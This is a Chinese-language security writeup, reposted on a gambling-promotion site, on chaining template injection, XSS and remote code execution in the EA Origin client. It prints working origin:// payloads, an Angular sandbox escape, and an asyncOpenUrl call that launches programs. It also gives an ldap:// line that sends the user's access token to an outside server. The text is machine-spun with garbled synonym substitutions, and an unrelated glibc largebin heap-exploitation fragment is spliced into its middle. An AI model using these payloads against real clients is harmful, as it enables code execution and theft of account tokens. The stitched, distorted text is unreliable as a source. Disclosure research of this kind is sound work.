EA Origin Client Vuln – 从XSS到RCE | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

EA Origin Client Vuln – 从XSS到RCE

申博_安全工具 申博 232次浏览 未收录 0个评论

0x01 概述

你们可以或许都听说过EA Origin客户端近来爆出的长途代码实行破绽,这个破绽是我和我的好基友(@Daley)在四月中旬一同发明的。这篇文章我将继承议论该破绽和挖掘出的其他破绽。

EA Origin Client Vuln - 从XSS到RCE

0x02 调试Origin

经由过程QtWebEngine(基于Chromium内核的浏览器框架)调试可以或许发明大局部题目。通报特别标识符到Origin中心历程,我可以或许将Chrome DevTools与该历程挂钩,可视化web视图。同时为了完成长途调试,我开启了Chrome DevTools端口转发功用,开启步调:翻开Chrome DevTools(浏览器输入:chrome://inspect),翻开长途装备视图,按具体要求填写后开启端口转发。

翻开Origin,猎取历程:

Origin.exe --remote-debugging-port=31337

在Chrome上接见localhost:31337,可以或许以开辟者器械视图调试该历程。

0x03 Origin URL处置惩罚

黑客经由过程URL睁开进击早就不是新鲜事了。在很长一段时间里,这是对长途计算机发放payload和实行代码的绝佳体式格局。只需接见某个网页就可以或许完成长途实行命令,APT要挟者异常喜好这类进击体式格局。

顺序自定义的URL处置惩罚器一样平常是为了轻易接见。比如说Origin的URL处置惩罚器重要轻易用户经由过程web浏览器启用或购置游戏。当用户点击这些链接,Origin客户端就会经由过程特制的URL完成参数启动。

Origin URL供应了很多URL可选项。比方要运转某个游戏,只需翻开下面这个URL。URL中包罗参数。我们在这里发明第一个破绽。

origin://game/launch/?offerIds=OFFERID

0x04 Bug#1 :模版注入

Origin若是收到的参数内容为无效游戏ID,它会提醒你可以或许手动将其导入游戏库。在弹出的对话框中可以或许看到”title”即为该游戏的称号。那末题目来了,若是这个游戏ID Origin没法辨认,那会发作甚么?这也就是参数”title”的奇异的地方。

我们可以或许改动”title”值:

origin://game/launch/?offerIds=0&title=zer0pwn

现在我在测试时料想可以或许存在HTML注入,也许可以或许致使XSS。运用以下链接:

origin://game/launch/?offerIds=0&title=<h1>zer0pwn

效果显现存在HTML注入。我最先以为可以或许注入剧本标签来实行JavaScript,但并非如此。经深切挖掘,我发明Origin前端框架是由Angular开辟的。尽人皆知,Angular有很多模版的器械,因而我最先测试目的是不是存在模版注入破绽。运用payload {{7*7}},效果为49,证明存在模版注入。

origin://game/launch/?offerIds=0&title={{7*7}}

0x04 Bug#2 :XSS

我们发明的是客户端模版注入,被限定只能在客户端实行。接下来我最先测试可以或许经由过程它实行JavaScript,从而盗取用户会话。

浅析largebin attack

large bin 大于512(1024)字节的chunk称之为large chunk,large bin就是用于管理这些large chunk的 Large bins 中一共包括 63 个 bin,index为64~126,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内 largebin 的结构和其他链表都不相同,更加复杂 largebin里除了有fd、bk指针,另外还有fd_nextsize 和 bk_nextsize 这两个指针 而且largebin的插入顺序不再是LIFO或FILO,而是一种全新的方式,我们来测试一下 我们先malloc六个堆块,实际大小为0x400,0x410,0x420,0x430,然后我们依次free可以得到下面这幅图 借用V师傅的总结(相同index下) 按照大小从大到小排序 若大小相同,按照free时间排序 若干个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0 size最大的chunk的bk_nextsize指向最小的chunk; size最小的chunk的fd_nextsize指向最大的chunk 下面我们看下与large bin有关的具体代码: while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) || __builtin_expect

Angular有一个沙盒战略,因而我们得用一些时兴货来实行目的剧本。网上征采一番后,我找到了有关其沙盒逃逸的研究效果。

把下面这个payload放入title中,可以或许完成弹窗。

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(l),a')}}

0x04 Bug#3 :RCE

这局部的破绽有些简朴。QDesktopServices自身是不存在破绽的,是Origin自身的题目。我找到了长途代码实行的要领。

浏览Qt文档,”QDesktopServices类供应了链接桌面效劳的要领。桌面情况许可运用实行某些义务,比方以情况用户的默许浏览器翻开一个网页”。

我发明了Origin暴露在外部的一个SDK接口,经由过程它运用JavaScript语句可以或许与QDesktopService通讯。

接见DOM中的Origin.client.desktopServices,我发明了下面这些函数:

: function asyncOpenUrl()
: function asyncOpenUrlWithEADPSSO()
: function deminiaturize()
: function flashIcon()
: function formatBytes()
: function getVolumeDiskSpace()
: function isMiniaturized()
: function miniaturize()
: function moveWindowToForeground()
: function setNextWindowUUID()
: function showWindow()

有些函数异常有意思,比方flashIcon(),挪用它后你会发明Origin图标最先闪烁。大局部函数都是只能进击运用自身,以是我不盘算运用它们。

厥后我们发明了asyncOpenUrl()函数。这个函数作用是挪用QDesktopService的OpenUrl函数,被挪用的函数会翻开浏览器。OpenUrl函数可以或许翻开注册了特定URL的运用(一样平常是浏览器),依据文档申明,运用该函数还可以或许加载某些资本。这听起来很风趣 ; )

然后我制作了下面这个JavaScript payload代码,胜利弹出计算器:

Origin.client.desktopServices.asyncOpenUrl("calc.exe")

0x04 还能更进一步?

我前面已提到过Origin存在一个CSP战略,使得提取数据越发难题。但我厥后发明运用ldap://接见协定发送LDAP要求连系asyncOpenUrl()函数可以或许提掏出想要的数据。

"ldap://safe.tld/o="+Origin.user.accessToken()+",c=UnderDog"

在效劳器上开启tcpdump,设置过滤则可以或许看到以明文情势通报的数据。

另外Origin.user对象还包罗其他函数:

: function accessToken()
: function country()
: function dob()
: function email()
: function emailStatus()
: function globalEmailSignup()
: function isAccessTokenExpired()
: function originId()
: function personaId()
: function registrationDate()
: function sessionGUID()
: function showPersona()
: function tfaSignup()
: function underAge()
: function userGUID()
: function userPid()
: userStatus()

这里我就不逐一赘述这些函数的功用了,有兴致自行试验。

0x05 关于补钉

电子艺术家已推出了相干补钉,但我在推特上仍看到很多bypass的要领。补钉是失利的,这篇文章再次警示须要完全清算用户的各种类型的输入。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明EA Origin Client Vuln – 从XSS到RCE
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址